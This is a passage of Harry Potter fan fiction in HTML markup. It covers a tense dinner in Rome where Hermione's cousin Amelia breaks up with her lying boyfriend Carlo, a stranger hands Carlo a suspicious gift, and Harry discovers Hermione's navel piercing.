and\nthat&#8217;s exactly what he was going to do.&nbsp;\nHarry turned and saw Hermione&#8217;s smiling face as she ran towards him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione ran to him and\npractically knocked him down with the force of her hitting against him.&nbsp; &#8220;I missed you.&#8221; She said as Harry regained\nhis balance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did you have fun?&#8221; He said into\nher ear.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It was okay.&#8221; Hermione said with\nher arms around him, &#8220;I probably would have had more fun with you though.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She pulled back smiling, &#8220;so what\ndid you two do?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well Carlo here brought me to a\nbrothel.&#8221; Harry answered.&nbsp; He could feel\nthe very angry gaze of Carlo on his back.&nbsp;\nIt almost made him burst into laughter.&nbsp;\nHe never promised to keep it a secret.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I see. What was it like\ninside?&#8221; Hermione asked casually. &#8220;Did they have really nice furniture with\nbeautiful girls fulfilling any man&#8217;s every dream?&#8221; </p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It was a bit tacky looking\nactually.&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia looked at Hermione and then\ntapped her on the shoulder.&nbsp; &#8220;Carlo\nbrought him to a whore house and you are just asking him what it was like\ninside?&#8221; Amelia was shocked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well why not? I want to know.&#8221;\nHermione answered honestly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think you should be more\nconcerned with what he actually did in that whore house.&#8221; Amelia glared at\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wanted to laugh as did\nHermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Amelia, calm down.&nbsp; I trust him, I know he didn&#8217;t or wouldn&#8217;t do\nanything with other women.&#8221; Hermione said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How do you know, you can never\nreally trust any man Hermione.&#8221; Amelia glared at Carlo.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She looked up at Harry and pointed\ninconspicuously to the spot over her heart, but Harry noticed and he\nsmiled.&nbsp; &#8220;I just know Amelia, I trust\nHarry with my life.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry felt his heart melt.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Too bad I can&#8217;t say the same for\nCarlo.&#8221; Hermione glared at Carlo. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo rolled his eyes.&nbsp; &#8220;Let it go Hermione, let it go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I will never let it go.&#8221; She said\nbitterly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What are you two talking about?&#8221;\nAmelia interrupted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing,&#8221; Carlo said trying to\nkeep his temper down.&nbsp; &#8220;It was a long\ntime ago and it doesn&#8217;t matter anymore.&#8221; He turned to Amelia, &#8220;let&#8217;s find some\nplace for dinner okay.&nbsp; You three decide\nI really don&#8217;t care.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry felt Hermione clasp his hand\nand he looked at her.&nbsp; He noticed she was\ndistressed about something and he pulled her close.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know a place to go for\ndinner.&nbsp; &#8220;Romero&#8217;s is excellent.&nbsp; Come on kids let&#8217;s go eat.&#8221; Amelia said\nbraking up the awkward silence also giving Carlo a look that said when we get\nhome we are going to have a serious talk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They made their way to Romero&#8217;s\nand since Amelia was well known they were seated immediately.&nbsp; After a few minutes they ordered at least\nfour pasta dishes,&nbsp; along with Chicken Scampi,\nand fried Calamari.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry, how is going to school\nwith Hermione, is she all serious all the time?&#8221; Amelia asked with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not all the time.&#8221; Harry\nanswered.&nbsp; &#8220;But school is something she\ntakes very seriously.&#8221; He turned to Hermione who was next to him. &#8220;Isn&#8217;t it?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh absolutely,&#8221; Hermione\nanswered. &#8220;Although, I have been known to take it easy every now and then.&#8221;\nHermione replied glancing down into her glass of cranberry juice and lemon lime\nsoda.&nbsp; &#8220;I want to make Head Girl next\nyear, but I don&#8217;t know if it&#8217;s possible.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why not, you&#8217;re smart enough.&#8221;\nAmelia pointed out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s not the point.&#8221; Hermione\nlooked up at her cousin, &#8220;I didn&#8217;t accept Prefect last year like I was in my\nfifth year, I turned it down.&nbsp; I don&#8217;t\nknow if I can make Head Girl now because of that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well why didn&#8217;t you accept this\nPrefect last year?&#8221; Carlo asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She hesitated, &#8220;I was going\nthrough a bad time in my life I suppose.&nbsp;\nIt all wasn&#8217;t fun and games.&#8221; Hermione took a deep breath, and relaxed\nas she felt Harry&#8217;s hand cover over hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo scoffed, &#8220;Oh please you live\nyour little pampered life at some outlandish boarding school, what could be so\nhard about that?&#8221; Carlo half insulted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh if you only knew,&#8221; Hermione\nreplied.&nbsp; Her tone was bitter and\nunfeeling. &#8220;But you never understood me to begin with anyway.&#8221; She was glaring\nat Carlo with extreme hate.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The waiter interrupted their\nconversation and brought by what they had ordered.&nbsp; The four of them sat in silence and ate the\nglorious meal.&nbsp; After Carlo and Amelia\nfinished off a bottle and a half of wine Harry felt the urge to use the\nrestroom.&nbsp; He surveyed the table thinking\nthat he could get up and leave Hermione there, since her cousin was still at\nthe table.&nbsp; Harry leaned over to\nHermione&#8217;s ear &#8220;I&#8217;m going to use the restroom, but I don&#8217;t want to just leave\nyou here you know because of the promise I made to you.&#8221; He had promised not to\nleave her alone with Carlo.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s alright Harry, Amelia is\nhere you can go and take care of business.&#8221; Hermione said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s chair scraped the floor as\nhe stood, &#8220;I&#8217;ll be right back.&#8221; And he looked up for the direction of the rest\nroom.&nbsp; He saw a little sign pointing and\nhe followed the path.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stared into her plate and\ntwirled her fork in her half eaten pasta as she thought about last year, a cold\nshudder went down her spine and she shivered.&nbsp;\nShe didn&#8217;t even notice Amelia get up and go talk to people she does\nbusiness with at their table.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh is goodie, goodie Hermione\ncold.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221; She replied with a roll of her\neyes.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We really need to talk about what\nhappened that time.&#8221; Carlo replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t want to talk&#8212;&#8221; Hermione\npaused and lifted her head, her cousin was gone.&nbsp; She did not want to sit at a table with\nCarlo, she didn&#8217;t want to be anywhere near him for as long as she lived.&nbsp; She stood. &#8220;I don&#8217;t want to talk about this\nwith you ever, what you did was inexcusable and you know it.&nbsp; I&#8217;m going to find Harry, excuse me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What does that idiot have that I\ndon&#8217;t?&#8221; Carlo asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A heart.&#8221; Hermione answered bitterly\nwhile glaring at him.&nbsp; &#8220;And Harry is not\nan idiot; the only idiot here is you.&#8221; She pointed rudely at him and turned to\nwalk towards the bathroom.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt someone grab her arm\nand turn her around, she was face to face with Carlo and he did not look happy.\n&#8220;I was not the idiot. I put in time and money on you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let go of me.&#8221; She demanded.&nbsp; But he wouldn&#8217;t let go. &#8220;If you don&#8217;t let go\nof me right now you will live to regret it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh what you going to do, slap\nme?&#8221;&nbsp; Carlo replied, &#8220;I didn&#8217;t think you\nwere the type Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione made a fist and his him\nin the stomach and Carlo bent half way over yet he didn&#8217;t let go of her arm.\n&#8220;Let go of me now.&#8221; She ordered, her voice angry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo glared he was going to say\nsomething really low and mean when he heard someone shout at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey! Let go of her right now!!&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo turned to find Harry who\nlooked ready to kill him heading his way.&nbsp;\nCarlo dropped Hermione&#8217;s arm and stood up straight. &#8220;Well if it isn&#8217;t\nCarry rushing to save his lady love.&#8221; He taunted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry approached Carlo, oh if\nlooks could kill Carlo would have already died twice.&nbsp; &#8220;If you ever touch her again, I will make you\npay.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh what are you going to do about\nit, little boy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh get off it you prick,&#8221; Hermione\nlooked at Carlo. &#8220;You are only two years older than us.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He is?&#8221; Harry said, &#8220;I could have\nsworn he was younger, he acts like a ten year old.&#8221; Harry replied with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why does Amelia put up with you\nanyway, you are lying cheating scum of the earth, she can find way better than\nyou.&#8221; Hermione was disgusted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia walks up to them, &#8220;Can find\nbetter then who?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Carlo.&#8221; Hermione pointed to him\nwith her thumb.&nbsp; &#8220;You are too good for\nhim.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, please keep your\nopinions to yourself, I have a serious relationship with Carlo and if you can&#8217;t\naccept that.&#8221;&nbsp; Amelia was a little hurt\nthat he cousin would stand in the way of her happiness.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What can you possible see in him.\nFor one he&#8217;s way immature even for being nineteen.&#8221; Hermione started. &#8220;Not only\nis he&#8212;&#8221; She was interrupted by her cousin who was also looking confused at\nCarlo.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nineteen? You said you were\ntwenty three.&#8221; Amelia saw Carlo&#8217;s eyes widen a bit. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Uh, well I am nineteen.&#8221; Carlo\nreplied while keeping his anger towards both Harry and Hermione, they were\nruining everything.&nbsp; First that Harry\nspilled the beans at where they went, and now Hermione gave away information\nabout him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia crossed her arms over her\nbosom, &#8220;so what else are you lying to me about?&#8221; She was very serious.<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo looked around they were\ngathering many eyes of the customers as they seemed to be watching the drama\nunfolding before their eyes.&nbsp; Carlo heard\nsomeone say this is better then daytime television.&nbsp; &#8220;Amelia, can we go we&#8217;re making a scene.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia sighed.&nbsp; &#8220;Fine.&#8221; They walked towards the table and\nAmelia looked at the check.&nbsp; She put down\nthe right amount.&nbsp; Amelia always carried\na lot of cash around, she hated using credit or checks. She headed towards the\ndoor that led outside.&nbsp; Once the entire\ngang stepped out Amelia turned to Hermione.&nbsp;\n&#8220;Hermione honey, you&#8217;re good with directions right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, I think so why?&#8221; Hermione\nglanced about Amelia wondering what she was trying to say.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do you remember where I live?&#8221; Amelia\nasked without showing any emotion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, as did Harry. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay.&#8221; She pulled out her keys\nand handed them to Hermione, she watched her cousin take them from her hand\nwith a confused expression on her face.&nbsp;\n&#8220;Why don&#8217;t you take Harry here and go back to my flat.&nbsp; Carlo and I need to have a talk.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re going to talk to him out\nhere on the street?&#8221; Harry asked confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep, that way I have nothing to\nthrow.&#8221; Amelia answered looking at Carlo.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay Amelia, we&#8217;ll see you\nthere.&#8221; Hermione said as she and Harry started down the block from where they\ncame.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia watched as Harry and\nHermione disappeared and then turned to Carlo.&nbsp;\n&#8220;So baby,&#8221; She started sarcastically.&nbsp;\n&#8220;What else have you been lying about?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing.&#8221; Carlo replied.&nbsp; &#8220;Do you mind that I&#8217;m nineteen?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, but that&#8217;s not the point\nCarlo. You lied to me about something so little.&nbsp; I wouldn&#8217;t have cared in the least.&nbsp; What else is going on, I know you&#8217;ve been\ncheating.&nbsp; I&#8217;m not stupid.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay I have been visiting Victoria&#8217;s.&#8221;&nbsp; Carlo admitted, He was going to kill that\nCarry if it was the last thing he&#8217;d do. That boy gave away his plans.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Carlo what is going on between\nyou and Hermione, I&#8217;ve seen all the looks you&#8217;ve been giving her and\nHarry.&nbsp; Are you trying to break them up?&nbsp; You took Harry to a brothel for what?&nbsp; Why do you feel the need to ruin her\nrelationship?&#8221; Amelia glared at Carlo waiting for an answer.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The little bitch is no&#8212;&#8221; He was\ncut off with a slap in the face. He looked at Amelia shocked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That is my cousin you just\ninsulted Carlo Yuri, I will not stand for that.&#8221; Amelia shouted.&nbsp; &#8220;Carlo I have no idea why you&#8217;ve been lying\nand cheating on me.&nbsp; Hermione is right I\ndeserve better,&#8221; She looked him right in the eyes. &#8220;I want you out of my life,\nyou have twenty four hours to get your belongings out of my flat before you\nfind your stuff out on the street.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Amelia, please don&#8217;t do this. I\nwant us to be together.&#8221; Carlo whimpered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You should have thought of that before\nyou lied about your age, why you want to find companionship with other women\nand insulted my cousin.&nbsp; You are out.&#8221;\nAmelia turned and started walking back towards her flat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo watched as Amelia walked\naway from him, all of this was that Darry and Hermione&#8217;s fault.&nbsp; Oh how he loathed them.&nbsp; Carlo lost his place to live, his money\nsupply and the warm bed of a sex goddess and it was all just ripped from him.&nbsp; He turned and angrily walked towards the\nmanly part of Rome where he could\ndrown his sorrows in women and booze.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Someone bumped into him knocking\nhim on the ground, Carlo cursed at him in Italian. But the man just laughed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh do forgive me sir; I wasn&#8217;t\nwatching where I was going.&nbsp; Uh you do\nspeak English don&#8217;t you?&#8221; The man said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh great another tourist, that&#8217;s\njust what this city needs.&#8221; Carlo insulted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The man laughed, &#8220;Yes I am a\ntourist, and I sort of lost my way.&nbsp; Do\nyou think you can help me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t think I would be of much\nhelp to you sir, but if you go down that sidewalk you&#8217;ll find many places where\npeople can give you directions.&#8221; Carlo said as he got up off the ground.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You aren&#8217;t very friendly.&#8221; The\nman observed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you wouldn&#8217;t be friendly if\nyour life was just ruined by two idiots and a poor excuse for a girlfriend.&#8221;\nCarlo was bitter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah you&#8217;re life had been\nruined?&nbsp; Oh I doubt that. You are a young\nman you have plenty of time to find love and life.&#8221; The man replied with a\nsinister looking smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, whatever.&#8221; Carlo replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You know you shouldn&#8217;t stay mad\nat them for too long, they are only human.&nbsp;\nAll mug&#8212;humans make mistakes you know.&#8221;&nbsp;\nThe man replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They just ruined my life, how\ncould I not stay mad at them.&#8221; Carlo spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you could be the bigger man\nand start on the road to forgiveness, is it really these people&#8217;s fault that\nyour life is ruined?&nbsp; Think about your\nactions and what you&#8217;ve done.&nbsp; Is it\nreally their fault, or is it yours?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo thought a moment, &#8220;Well I\nsuppose it could be my fault, but if they hadn&#8217;t said anything I would still have\na place to live and my girlfriend back.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well.&#8221; The man said digging into\nhis leather knap sack, &#8220;why don&#8217;t you give them a present, you know say you&#8217;re\nsorry?&#8221;&nbsp; The man extended the little\nwrapped box towards Carlo.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What is it?&#8221; Carlo looked at the\nbox curiously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh just a little stained glass\npicture frame of a unicorn, it&#8217;s real nice.&#8221; The man waved the box in front of\nCarlo.&nbsp; &#8220;It would probably get in good\nwith your girlfriend.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How much?&#8221; Carlo asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well if you tell me where I can\nfind some good food, then you can have it free of charge.&#8221; The man replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well.&#8221; Carlo glanced at the gift.\n&#8220;Are you sure it&#8217;s special enough.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh yes, it is very special.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay then, give it to me.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione unlocked the door to\nAmelia&#8217;s flat and the two of them stepped inside, they walked back towards\ntheir room.&nbsp; Harry and Hermione stepped\ninside and the door closed behind them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Harry I bought something for\nyou.&#8221; Hermione remembered and went digging through her bag.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Really? You bought something for\nme?&#8221; Harry smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep,&#8221; Hermione finished digging\nthrough her purchases and found the bag of candy. She held it out to him.&nbsp; &#8220;I bought you candy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Hermione you are so\nwonderful.&#8221; Harry took the candy bag from her and opened it looking.&nbsp; &#8220;Peanut butter cups. Yum!&#8221; He looked up at\nher and smiled. &#8220;You are so good to me.&#8221; He moved closer to her and kissed her\ngently on the lips. He pulled back smiling at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione moved away and took off\nher sweater laying it on the chair revealing the yellow short sleeved shirt she\nhad been wearing.&nbsp; She heard Harry\nalready opening the bag, she assumed he was already eating one or two, she\nstretched up and the hem of her shirt lifted revealing her tummy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry spit out the cup and looked closely\nat her while she stretched, &#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She dropped her arms and turned\nlooking at him.&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He walked right over to her, &#8220;is\nthere something you would like to tell me?&#8221; He said with amusement.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221; Hermione said innocently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry tossed the bag onto the bed\nand reached down lifting the hem of her shirt revealing her pierced belly\nbutton.&nbsp; &#8220;Did you get this today?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 